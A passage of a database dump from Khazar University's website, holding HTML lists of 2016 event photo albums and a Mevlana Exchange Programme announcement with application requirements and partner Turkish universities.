href=\"https://www.facebook.com/media/set/?set=a.1161289850548085.1073742222.799143400096067&amp;type=3\">FOTO</a>)</p><p>&nbsp;22.02.2016 Cənubi Koreyanın Donqdunk Universiteti ilə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1159490857394651.1073742215.799143400096067&amp;type=3\">FOTO</a>)</p><p>18.02.2016 İntroduction to psymentology (<a href=\"https://www.facebook.com/media/set/?set=a.1156975157646221.1073742214.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.02.2016 Indoneziya səfiri Xəzərdə &nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1152923088051428.1073742208.799143400096067&amp;type=3\">FOTO</a>)</p><p>10.02.2015 Musaya dəstək (<a href=\"https://www.facebook.com/media/set/?set=a.1151875158156221.1073742207.799143400096067&amp;type=3\">FOTO</a>)</p><p>06.02.2016 Multimedia Mərkəzinin Sumqayıta foto gəzintisi (<a href=\"https://www.facebook.com/media/set/?set=a.1151203028223434.1073742206.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.01.2016 Yekun konsert (<a href=\"https://www.facebook.com/media/set/?set=a.1134852193191851.1073742173.799143400096067&amp;type=3\">FOTO</a>)</p><p>05.02.2016 Əfqanıstan səfiri Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1148968181780252.1073742204.799143400096067&amp;type=3\">FOTO</a>)</p><p>05.02.2016 Dr.Farzad Sallahshoor workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1148890255121378.1073742203.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.02.2016 Təhsildə idarə etmə (<a href=\"https://www.facebook.com/media/set/?set=a.1148889318454805.1073742201.799143400096067&amp;type=3\">FOTO</a>)</p><p>03.02.2016 Yubiley mərasimləri (<a href=\"https://www.facebook.com/media/set/?set=a.1148335388510198.1073742200.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.02.2015 Dr.Farzad Sallahshoor workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1148334788510258.1073742199.799143400096067&amp;type=3\">FOTO</a>)</p>'),(2947,1749,'en','January','January','<p>30.01.2016 Elm ve senet (<a href=\"https://www.facebook.com/media/set/?set=a.1146704405339963.1073742198.799143400096067&amp;type=3\">FOTO</a>)</p><p>29.01.2016 Eurasian Academic (<a href=\"https://www.facebook.com/media/set/?set=a.1146698168673920.1073742197.799143400096067&amp;type=3\">FOTO</a>)</p><p>29.01.2016 Avrasiya Akademiyası - Təqdimat (<a href=\"https://www.facebook.com/media/set/?set=a.1145089748834762.1073742196.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.01.2016 Məzunlarla görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1142586172418453.1073742195.799143400096067&amp;type=3\">FOTO</a>)22.01.2015 Final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1141042399239497.1073742194.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.01.2016 Xəzərdə final Imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1140528915957512.1073742193.799143400096067&amp;type=3\">FOTO</a>)</p><p>19.01.2016 Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1140528415957562.1073742192.799143400096067&amp;type=3\">FOTO</a>)</p><p>19.01.2016 Sorğu nəticələrinin təqdimatı (<a href=\"https://www.facebook.com/media/set/?set=a.1139519549391782.1073742191.799143400096067&amp;type=3\">FOTO</a>)</p><p>19.01.2016 İmtahanlar (<a href=\"https://www.facebook.com/media/set/?set=a.1139503826060021.1073742190.799143400096067&amp;type=3\">FOTO</a>)</p><p>18.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1138809822796088.1073742187.799143400096067&amp;type=3\">FOTO</a>)</p><p>16.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1138810266129377.1073742188.799143400096067&amp;type=3\">FOTO</a>)</p><p>16.01.2016 potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1138809019462835.1073742186.799143400096067&amp;type=3\">FOTO</a>)</p><p>15.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1137013369642400.1073742185.799143400096067&amp;type=3\">FOTO</a>)</p><p>15.01.2016 Final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1136978522979218.1073742184.799143400096067&amp;type=3\">FOTO</a>)</p><p>14.01.2016&nbsp;Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1136480139695723.1073742183.799143400096067&amp;type=3\">FOTO</a>)</p><p>14.01.2016&nbsp;Xəzərdə Final Imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1136409406369463.1073742182.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Xəzərdə final imtahanlari (<a href=\"https://www.facebook.com/media/set/?set=a.1135924533084617.1073742181.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Leydenə gedən tələbələr (<a href=\"https://www.facebook.com/media/set/?set=a.1135895136420890.1073742180.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1135891789754558.1073742179.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1135857993091271.1073742178.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.01.2016 Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1135421409801596.1073742177.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.01.2016 Final İmtahanı (<a href=\"https://www.facebook.com/media/set/?set=a.1135340429809694.1073742176.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1135319806478423.1073742175.799143400096067&amp;type=3\">FOTO</a>)</p><p>11.01.2016 Final Imtahanlari (<a href=\"https://www.facebook.com/media/set/?set=a.1134892686521135.1073742174.799143400096067&amp;type=3\">FOTO</a>)</p>'),(2948,1749,'az','Yanvar','Yanvar','<p>30.01.2016 Elm ve senet (<a href=\"https://www.facebook.com/media/set/?set=a.1146704405339963.1073742198.799143400096067&amp;type=3\">FOTO</a>)</p><p style=\"font-size:medium;font-family:\'times new roman\', times, serif\">29.01.2016 Eurasian Academic (<a href=\"https://www.facebook.com/media/set/?set=a.1146698168673920.1073742197.799143400096067&amp;type=3\">FOTO</a>)</p><p>29.01.2016 Avrasiya Akademiyası - Təqdimat (<a href=\"https://www.facebook.com/media/set/?set=a.1145089748834762.1073742196.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.01.2016 Məzunlarla görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1142586172418453.1073742195.799143400096067&amp;type=3\">FOTO</a>)22.01.2015 Final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1141042399239497.1073742194.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.01.2016 Xəzərdə final Imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1140528915957512.1073742193.799143400096067&amp;type=3\">FOTO</a>)</p><p>19.01.2016 Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1140528415957562.1073742192.799143400096067&amp;type=3\">FOTO</a>)</p><p>19.01.2016 Sorğu nəticələrinin təqdimatı (<a href=\"https://www.facebook.com/media/set/?set=a.1139519549391782.1073742191.799143400096067&amp;type=3\">FOTO</a>)</p><p>19.01.2016 İmtahanlar (<a href=\"https://www.facebook.com/media/set/?set=a.1139503826060021.1073742190.799143400096067&amp;type=3\">FOTO</a>)</p><p>18.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1138809822796088.1073742187.799143400096067&amp;type=3\">FOTO</a>)</p><p>16.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1138810266129377.1073742188.799143400096067&amp;type=3\">FOTO</a>)</p><p>16.01.2016 potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1138809019462835.1073742186.799143400096067&amp;type=3\">FOTO</a>)</p><p>15.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1137013369642400.1073742185.799143400096067&amp;type=3\">FOTO</a>)</p><p>15.01.2016 Final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1136978522979218.1073742184.799143400096067&amp;type=3\">FOTO</a>)</p><p>14.01.2016&nbsp;Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1136480139695723.1073742183.799143400096067&amp;type=3\">FOTO</a>)</p><p>14.01.2016&nbsp;Xəzərdə Final Imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1136409406369463.1073742182.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Xəzərdə final imtahanlari (<a href=\"https://www.facebook.com/media/set/?set=a.1135924533084617.1073742181.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Leydenə gedən tələbələr (<a href=\"https://www.facebook.com/media/set/?set=a.1135895136420890.1073742180.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1135891789754558.1073742179.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1135857993091271.1073742178.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.01.2016 Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1135421409801596.1073742177.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.01.2016 Final İmtahanı (<a href=\"https://www.facebook.com/media/set/?set=a.1135340429809694.1073742176.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1135319806478423.1073742175.799143400096067&amp;type=3\">FOTO</a>)</p><p>11.01.2016 Final Imtahanlari (<a href=\"https://www.facebook.com/media/set/?set=a.1134892686521135.1073742174.799143400096067&amp;type=3\">FOTO</a>)</p>'),(2950,1750,'en','February','February','<p>29.02.2016 Psixologiya mərkəzinin açılışı (<a href=\"https://www.facebook.com/media/set/?set=a.1163750220302048.1073742229.799143400096067&amp;type=3\">FOTO</a>)</p><p>29.02.2016 Omer Sadullahin Xəzərdə açıq dərsi (<a href=\"https://www.facebook.com/media/set/?set=a.1163749930302077.1073742227.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p><p>27.02.2016 Oil Bowl (<a href=\"https://www.facebook.com/media/set/?set=a.1163690286974708.1073742226.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.02.2016 Xocalı (<a href=\"https://www.facebook.com/media/set/?set=a.1161946697149067.1073742225.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.02.2016 Effective interview workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1161858050491265.1073742224.799143400096067&amp;type=3\">FOTO</a>)</p><p>25.02.2015 Potensial Direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1161323123878091.1073742223.799143400096067&amp;type=3\">FOTO</a>)</p><p>25.02.2016 Lara Fabian tarixçilərlə görüşü (<a href=\"https://www.facebook.com/media/set/?set=a.1161284190548651.1073742221.799143400096067&amp;type=3\">FOTO</a>)</p><p>24.02.2016 Jourmal club seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1161213383889065.1073742220.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.02.2016 Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1161289850548085.1073742222.799143400096067&amp;type=3\">FOTO</a>)</p><p>&nbsp;22.02.2016 Cənubi Koreyanın Donqdunk Universiteti ilə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1159490857394651.1073742215.799143400096067&amp;type=3\">FOTO</a>)</p><p>18.02.2016 İntroduction to psymentology (<a href=\"https://www.facebook.com/media/set/?set=a.1156975157646221.1073742214.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.02.2016 Indoneziya səfiri Xəzərdə &nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1152923088051428.1073742208.799143400096067&amp;type=3\">FOTO</a>)</p><p>10.02.2015 Musaya dəstək (<a href=\"https://www.facebook.com/media/set/?set=a.1151875158156221.1073742207.799143400096067&amp;type=3\">FOTO</a>)</p><p>06.02.2016 Multimedia Mərkəzinin Sumqayıta foto gəzintisi (<a href=\"https://www.facebook.com/media/set/?set=a.1151203028223434.1073742206.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.01.2016 Yekun konsert (<a href=\"https://www.facebook.com/media/set/?set=a.1134852193191851.1073742173.799143400096067&amp;type=3\">FOTO</a>)</p><p>05.02.2016 Əfqanıstan səfiri Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1148968181780252.1073742204.799143400096067&amp;type=3\">FOTO</a>)</p><p>05.02.2016 Dr.Farzad Sallahshoor workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1148890255121378.1073742203.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.02.2016 Təhsildə idarə etmə (<a href=\"https://www.facebook.com/media/set/?set=a.1148889318454805.1073742201.799143400096067&amp;type=3\">FOTO</a>)</p><p>03.02.2016 Yubiley mərasimləri (<a href=\"https://www.facebook.com/media/set/?set=a.1148335388510198.1073742200.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.02.2015 Dr.Farzad Sallahshoor workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1148334788510258.1073742199.799143400096067&amp;type=3\">FOTO</a>)</p>'),(1867,1149,'az','Dövlət Neft Fondunun (ARDNF) rəsmisi: “Fondun gəlirləri 126,2 milyard dollar təşkil etmişdir”','Xəzər Universitetində keçirilən “Neftin qiymətinin düşməsi və iqtisadi islahatlar: çağırışlar və imkanlar” adlı forum haqqında mətbuat orqanlarının bir çoxunda xəbər yayınlanmışdır:','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Xəzər Universitetində\r\nkeçirilən “Neftin qiymətinin düşməsi və iqtisadi islahatlar: çağırışlar və\r\nimkanlar” adlı forum haqqında mətbuat orqanlarının bir çoxunda xəbər\r\nyayınlanmışdır:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.today.az/news/business/151082.html\">http://www.today.az/news/business/151082.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://kreditplaza.az/az/credits_news/neft-fondunun-g%C9%99lirliliyi-c%C9%99mi-124-dir/\">http://kreditplaza.az/az/credits_news/neft-fondunun-gəlirliliyi-cəmi-124-dir/</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://fins.az/aqrar/900393/Neft_Fondunun_gelirliliyi_cemi_124_dir.html\">http://fins.az/aqrar/900393/Neft_Fondunun_gelirliliyi_cemi_124_dir.html</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azinforum.az/neft-fondunun-g%C9%99lirliliyi-c%C9%99mi-124-dir;%0d\">http://azinforum.az/neft-fondunun-gəlirliliyi-cəmi-124-dir;</a></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.azernews.az/oil_and_gas/97135.html\">http://www.azernews.az/oil_and_gas/97135.html</a>.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;&nbsp;</p>'),(749,526,'en','Mevlana Exchange Programme','Mevlana Exchange Programme','<div><br></div><br><a href=\"http://www.khazar.org/files/mevlane.jpg\"><img src=\"http://www.khazar.org/files/mevlane.jpg\" style=\"border:0px  #000000;width:250px;height:229px;margin:7px;float:left\"></a><div><p><strong>Khazar University is delighted to announce the Mevlana Exchange Programme!</strong><strong>&nbsp;</strong></p><p>Dear Students and Academic Staff,</p><p>Exchange among Khazar University and Turkish Universities in the 2018-2019&nbsp;academic year for both students and lecturers is now open.</p><p> Interested applicants should submit their applications to the International Affairs Office&nbsp;between&nbsp;</p><p>February 15-21,&nbsp;2018.&nbsp;</p><p><br></p><p>Announcement of Mevlana Exchange Programme&nbsp;</p><p><br></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"\" mso-cellspacing:0in;background:white;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\"><tbody><tr><td width=\"518\" style=\"width:388.5pt;padding:0in 0in 0in 0in;vertical-align:top\"><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Submit your application</p>\r\n  </td>\r\n  <td width=\"222\" style=\"width:166.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">February 15-21, 2018  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"518\" style=\"width:388.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Deadline for\r\n  applications</p>\r\n  </td>\r\n  <td width=\"222\" style=\"width:166.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">17:00, February 21, 2018  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"518\" style=\"width:388.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Assessment of\r\n  Applications</p>\r\n  </td>\r\n  <td width=\"222\" style=\"width:166.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">March&nbsp;2018  </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"518\" style=\"width:388.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">Announcement of\r\n  assessment results</p>\r\n  </td>\r\n  <td width=\"222\" style=\"width:166.5pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;line-height:normal\"\"=\"\">To be announced</p>\r\n  </td>\r\n </tr>\r\n</tbody></table> <p><br></p><p>For further information about the Programme visit the official page of&nbsp;<a href=\"http://www.yok.gov.tr/web/mevlana\" target=\"_blank\">Mevlana Exchange Programme&nbsp;</a></p><p><strong>Mevlana Exchange Programme</strong></p><p>Mevlana Exchange Programme is a programme which aims at the exchange of students and academic staff between Turkish higher education institutions and higher education institutions of other countries. Azerbaijani students may study in Turkey for one (minimum) or two (maximum) terms and academic staff may lecture abroad from one week (minimum) to three months (maximum).</p><p><strong>What does Mevlana mean?</strong></p><p>The programme is named after worldly renowned poet and thinker Mevlana Muhammed Celaleddin. He is known as&nbsp;<em>Rumi&nbsp;</em>in the West. Mevlana lived in the 13th century, but as a Sufi who got beyond the ages with his works, did not make any discrimination between people as indicated in his verse \"Come, come whoever you are.\" His mercy, voluntary and unlimited humanity, endless tolerance impressed not only the world of Islam but also the whole humanity. The 800th anniversary of Mevlana\'s birth in 2007 was declared by UNESCO as the&nbsp;<em>year of Rumi</em>.</p><p><strong>Application Requirements for the Programme</strong>  <br></p><p><strong>For Students:</strong></p><ul><li>&nbsp;Students should be studying at associate degree, bachelor degree, master degree or PhD degree of higher education programmes</li><li>&nbsp;Grade point average (GPA) of associate degree and undergraduate students must be at least 2,5 on a 4 point scale.</li><li>&nbsp;Grade point average (GPA) of graduate students (MA, PhD) must be at least 3.00 on a 4 point scale.</li><li>&nbsp;50% language score + 50% GPA</li></ul><p>The students studying in their first year at associate or bachelor degree and the students of preparation classes and scientific preparation programmes of graduate degrees cannot participate in this programme at their first semester.&nbsp;</p><p><strong>For Academic Staff:</strong></p><ul><li>The academic staff must have not participated in Mevlana Exchange Programme before.</li><li>Sufficient language skills.</li></ul><p><strong><span style=\"color: rgb(0, 0, 0);\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/files/mevlane.jpg\" rel=\"media9555852798826596\" width=\"213\" height=\"100\"><br></span></strong></p><p><strong></strong><strong><span style=\"color: rgb(0, 0, 0);\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/files/mevlane.jpg\" rel=\"media9555852798826596\" width=\"213\" height=\"100\">Required documents for\r\nstudents:</span></strong></p><p><strong><span style=\"color:#203864\" class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"http://www.khazar.org/files/mevlane.jpg\" rel=\"media9555852798826596\" width=\"213\" height=\"100\"></span></strong>1.&nbsp;<a href=\"http://www.khazar.org/files/letters/Candidate_Student_%20Application_Form.docx\">Candidate Student\r\n     Application Form (with picture)</a></p><p><a href=\"http://www.khazar.org/files/social/1/Candidate%20Student%20Application%20Form.docx\"></a>2.&nbsp;<a href=\"http://www.khazar.org/files/letters/Student_Information_Form.docx\">Student Information Form</a></p><p><a href=\"http://www.khazar.org/files/social/1/Student%20Information%20Form.docx\"></a>3.&nbsp;<a href=\"http://www.khazar.org/files/letters/Student_Application_Form.docx\">Student Application Form\r\n     (with picture)</a></p><p><a href=\"http://www.khazar.org/files/social/1/Student%20Application%20Form.docx\"></a>4.&nbsp;Transcript of\r\n     Records&nbsp;</p><p>5.&nbsp;Language Certificate\r\n     (from the Department of English Language and Literature of Khazar\r\n     University or IELTS, TOEFL)</p><p><br></p>\r\n<p><strong>For academic staff:</strong></p><p><strong></strong>1.&nbsp;<a href=\"http://www.khazar.org/files/letters/Academic_Staff_Information_Form.docx\">Academic Staff\r\n     Information Form (with picture)</a></p><p>2. <a href=\"http://www.khazar.org/files/letters/Academic_Staff_Mobility_Programme.docx\">Academic Staff Mobility Program</a>   </p><p><a href=\"http://www.khazar.org/files/social/1/Academic%20Staff%20Information%20Form.docx\"></a>3.&nbsp;CV</p><p>4.&nbsp;List of publications or\r\n     projects on the subject that he/she wants to work in the host university</p><p>5.&nbsp;Work plan of the seminar</p><p><br></p><p><strong></strong>Mevlana Exchange Programme&nbsp;<a href=\"http://www.khazar.org/files/pdf/Mevlana_brochure.pdf\" target=\"_blank\">Brochure</a>&nbsp;</p><p>Mevlana Exchange Programme&nbsp;<a href=\"http://www.khazar.org/files/pdf/MEVLANA_EXCHANGE_PROGRAMME_PRESENTATION.pdf\" target=\"_blank\">Presentation</a></p><p>Exchange opportunities along with education areas are highlighted in the table below:&nbsp;</p><table cellspacing=\"0\" cellpadding=\"0\" width=\"790px\"><tbody><tr><td colspan=\"3\" width=\"638\">&nbsp;<strong><p><strong>Turkish Universities Collaborating with KU within Mevlana Exchange Programme</strong></p></strong></td></tr><tr><td width=\"213\"><strong>1.&nbsp;Ahi Evran University,&nbsp;Kırshehir.</strong><br><a href=\"http://www.ahievran.edu.tr/\" target=\"_blank\"><strong>Official Page</strong></a><br><a href=\"http://old.khazar.org/files/Ahi%20Evran%20Universiteti.pdf\" target=\"_blank\"><strong>Exchange Plan</strong></a> <strong><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:intoffice@ahievran.edu.tr\">intoffice@ahievran.edu.tr</a>&nbsp;</strong></td><td width=\"213\"><strong>2.&nbsp;Çukurova University,&nbsp;Adana.<br></strong><a href=\"http://www.cu.edu.tr/\" target=\"_blank\"><strong>Official Page&nbsp;</strong></a><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/%C3%87ukurova%20University.PDF\">Exchange Plan</a></strong>  <br><a href=\"http://www.khazar.org/files/%C3%87ukurova_Universiteti.pdf\" target=\"_blank\"><strong></strong></a><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@cu.edu.tr\">mevlana@cu.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>3.&nbsp;Erciyes University,&nbsp;Kayseri.</strong><strong>&nbsp;<br></strong><a href=\"http://www.erciyes.edu.tr/\" target=\"_blank\"><strong></strong></a><strong><a href=\"http://www.erciyes.edu.tr/\" target=\"_blank\"><strong>Official Page&nbsp;</strong></a><br><a href=\"http://old.khazar.org/files/Erciyes%20Universiteti.pdf\" target=\"_blank\"><strong>Exchange Plan</strong></a>  </strong><strong><a href=\"http://www.khazar.org/files/Erciyes%20Universiteti.pdf\" target=\"_blank\"></a><br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@erciyes.edu.tr\">mevlana@erciyes.edu.tr</a></strong></strong><strong><br></strong></td></tr><tr><td width=\"213\"><strong>4.&nbsp;Gazi University,&nbsp;&nbsp;Ankara.<br><strong><a href=\"http://gazi.edu.tr/index.php/?language=en_US\">Official Page</a><a href=\"http://gazi.edu.tr/index.php/?language=en_US\"></a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Gazi%20Universiteti.pdf\">Exchange Plan</a></strong><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@gazi.edu.tr\">mevlana@gazi.edu.tr</a></strong></td><td width=\"213\"><strong>5.&nbsp;Izmir Katip Celebi University,&nbsp;Izmir.</strong>&nbsp;<br><strong><a href=\"http://www.ikc.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/admin/Izmir%20Katip%20Celebi%20University.pdf\">Exchange Plan</a></strong>  <br><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@ikc.edu.tr\">mevlana@ikc.edu.tr</a></strong><strong><br></strong></td><td width=\"213\"><strong>6.&nbsp;Kastamonu University,&nbsp;Kastamonu.</strong>&nbsp;<br><strong><a href=\"http://www.kastamonu.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Kastamonu%20Universiteti.pdf\">Exchange Plan</a></strong>  <br><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@kastamonu.edu.tr\">mevlana@kastamonu.edu.tr</a></strong></td></tr><tr><td width=\"213\"><strong>7.&nbsp;Okan University,&nbsp; Istanbul.<br><strong><a href=\"http://www.okan.edu.tr/\">Official Page</a></strong><br><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Okan%20Universiteti.pdf\" target=\"_blank\"><strong>Exchange Plan</strong></a><br></strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@okan.edu.tr\">mevlana@okan.edu.tr</a></strong></td><td width=\"213\"><strong>8.&nbsp;Sinop University,&nbsp; Sinop.</strong>&nbsp;<br><strong><a href=\"http://www.sinop.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Sinop%20Universiteti.pdf\">Exchange Plan</a></strong>  <br><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@sinop.edu.tr\">mevlana@sinop.edu.tr</a></strong></td><td width=\"213\"><strong>9.&nbsp;Balikesir University</strong>,&nbsp;<strong>Balikesir</strong>.<br><strong><a href=\"http://www.balikesir.edu.tr/\">Official Page</a></strong><br><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Balikesir%20Universiteti.pdf\" target=\"_blank\"><strong>Exchange Plan</strong></a>  <br><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@balikesir.edu.tr\">mevlana@balikesir.edu.tr</a></strong><strong><br></strong></td></tr><tr><td width=\"213\"><strong>10.&nbsp;Artvin Coruh University,&nbsp;Artvin.<br><strong><a href=\"http://www.artvin.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Artvin%20Coruh%20Universiteti.pdf\">Exchange Plan</a></strong>&nbsp;  <br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:intoffice@artvin.edu.tr\">acumevlana@artvin.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>11.&nbsp;Kilis 7 Aralik University,&nbsp;Kilis.<br><strong><a href=\"http://www.kilis.edu.tr/\">Official Page</a></strong><br><strong>Exchange Plan</strong><br></strong><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@kilis.edu.tr\">mevlana@kilis.edu.tr</a></strong><br></strong></td><td width=\"213\"><strong>12.&nbsp;Beykent University</strong>,&nbsp;<strong>İstanbul</strong>.<br><strong><a href=\"http://www.beykent.edu.tr/\">Official Page</a></strong><br><strong><a href=\"http://www.khazar.org/files/social/foto/untitled%20folder/Beykent%20Universiteti.pdf\">Exchange Plan</a></strong>  <br><strong><strong>E-mail:&nbsp;<a href=\"mailto:mevlana@beykent.edu.tr\">mevlana@beykent.edu.tr</a></strong></strong><strong><br></strong></td></tr><tr><td width=\"213\"><strong>13.&nbsp;Uludag University</strong>,&nbsp;<strong>&nbsp;Bursa.</strong>&nbsp;<br><strong><a href=\"http://www.uludag.edu.tr/\">Official Page</a></strong><br><a 